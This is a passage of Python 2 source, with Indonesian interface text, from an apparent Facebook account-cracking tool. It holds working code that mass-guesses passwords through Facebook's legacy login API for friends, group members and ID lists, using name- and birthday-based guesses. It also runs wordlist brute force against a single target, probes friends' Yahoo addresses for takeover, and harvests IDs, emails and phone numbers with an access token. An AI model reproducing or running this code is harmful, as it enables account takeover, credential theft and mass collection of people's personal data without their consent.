'\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' print '\x1b[1;91m[!] Cobalah dengan cara lain.' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Koneksi terganggu' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' def hasil(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack dari daftar Teman' print '\x1b[1;37;40m2. Crack dari member Grup' print '\x1b[1;31;40m0. Kembali' print pilih_super() def pilih_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Jangan kosong' pilih_super() else: if peak == '1': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() def brute(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File tidak ditemukan...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Dari teman facebook' print '\x1b[1;37;40m2. Gunakan File' print '\x1b[1;31;40m0. Kembali' print yahoo_pilih() def yahoo_pilih(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Jangan kosong' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' yahoo_pilih() def yahoofriends(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(teman.text) save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File tidak ada' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def grab(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Ambil ID teman' print '\x1b[1;37;40m2. Ambil ID teman dari teman' print '\x1b[1;37;40m3. Ambil ID member GRUP' print '\x1b[1;37;40m4. Ambil Email teman' print '\x1b[1;37;40m5. Ambil Email teman dari teman' print '\x1b[1;37;40m6. Ambil No HP teman' print '\x1b[1;37;40m7. Ambil No HP teman dari teman' print '\x1b[1;31;40m0. Kembali' print grab_pilih() def grab_pilih(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Jangan kosong' grab_pilih() else: if cuih == '1': id_teman() else: if cuih == '2': idfrom_teman() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_teman() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_teman() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' grab_pilih() def id_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def idfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def id_member_grup(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def email(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def emailfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromteman.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def nomor_hp(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) 